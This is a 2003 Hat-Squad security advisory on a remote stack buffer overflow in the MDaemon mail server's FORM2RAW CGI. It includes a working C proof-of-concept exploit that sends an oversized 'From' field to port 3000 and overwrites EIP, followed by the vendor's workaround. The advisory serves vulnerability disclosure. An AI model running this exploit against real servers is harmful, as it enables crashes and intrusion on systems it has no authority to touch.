[Hat-Squad] Remote buffer overflow in Mdaemon Raw message Handler

[Hat-Squad Security Team <service () hat-squad com>]

                        Hat-Squad Security Team Advisory
                            http://www.hat-squad.com

Product: Alt-N Technologies Mdaemon Mail Server
Version: MDaemon  6.85 and Below to 6.52
Vulnerability: Remote buffer overflow in Raw Message Handler
Release Date: 12/29/2003

Vendor Status: 
Informed on 29 Dec 2003
Quick response on 29 Dec 2003

Overview:

FORM2RAW.exe is a CGI which allows users to send email using MDaemon from a web. It processes the fields of an HTML 
form and creates a RAW message File in the Raw queue Directory of MDaemon mail server. This file then will be 
proccessed and qeued for delivery by MDaemon.
According to the Help file "By default, MDaemon 6.52 or higher will not send emails created by Form2Raw unless the 
email address passed in the 'from' tag (see below) is a valid account on the MDaemon server.If you want to disable this 
behavior you can set the FromCheck=No in FORM2RAW.INI file".

Problem:

Sending more than 153 bytes  in the "From" field to FROM2Raw.exe creates a Raw File that when proccessed by mdaemon 
will cause a Stack buffer overflow.The EIP register will be overwritten when From Field length was 249 bytes.
The FORM2RAW.exe is accessible by default from WorlClient Web server listening on Port 3000.

---------------------Exploit:

#include <windows.h>
#include <stdio.h>
#include <winsock.h>
#pragma comment (lib,"ws2_32")
#define RET 0x1dff160
#define PORT 3000
void main(int argc, char **argv)
{
     SOCKET s = 0;
     WSADATA wsaData;

    if(argc < 2)
     {
          fprintf(stderr, "MDaemon form2raw.cgi Exploit Written by Behrang Fouladi, " \
"\nUsage: %s <target ip> \n", argv[0]);
     
                  printf("%d",argc);
                       exit(0);
    }

     WSAStartup(MAKEWORD(2,0), &wsaData);

     s = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);

     if(INVALID_SOCKET != s)
     {
          SOCKADDR_IN anAddr;
          anAddr.sin_family = AF_INET;
          anAddr.sin_port = htons(PORT);
          anAddr.sin_addr.S_un.S_addr = inet_addr(argv[1]);
               
          if(0 == connect(s, (struct sockaddr *)&anAddr, sizeof(struct sockaddr)))
          {
               static char buffer[500];
                           int i;
                           memset(buffer,0,sizeof(buffer));
                           strcpy(buffer,"get /form2raw.cgi?From=");
                           for(i=0;i<244;i++) {

                                   strcat(buffer,"a");
                           }
                        
                           strcat(buffer,"bbbb"); //Overwrites EIP
                           strcat(buffer,"c");  //One byte left after ESP :-(
                           strcat(buffer,"&To=me () hell org&Subject=hi&Body=hello HTTP/1.0\r\n\r\n");
                           
                           send(s, buffer, strlen(buffer), 0);
                           printf("Exploit Sent.");
                
          }

                  else printf("Error Connecting to The Target.\n");
          closesocket(s);
     }

        WSACleanup();
}

---------------------------------------

Vendor Response:

Robin Edwards <support () helpdesk altn com> Wrote: 

We have had a similar vulnerability report with Form2Raw and hope to release a patch soon.  In the meantime it is easy 
to disable Form2Raw by following the instructions below:
-----
To disable FORM2RAW open the 
\MDaemon\WorldClient\WorldClient.ini file with Notepad and 
delete the following two lines:

CgiBase2=/Form2Raw.cgi
CgiFile2=C:\MDaemon\CGI\Form2Raw.exe
 
Afterward, restart WorldClient to register the change.
-----


Credits:

This Vulnerability has been Discoverd By Pejamn Davarzani (pejman () hat-squad com) and Behrang Fouladi(behrang () 
hat-squad com) 


Original advisory could be found at:
http://hat-squad.com/bugreport/mdaemon-raw.txt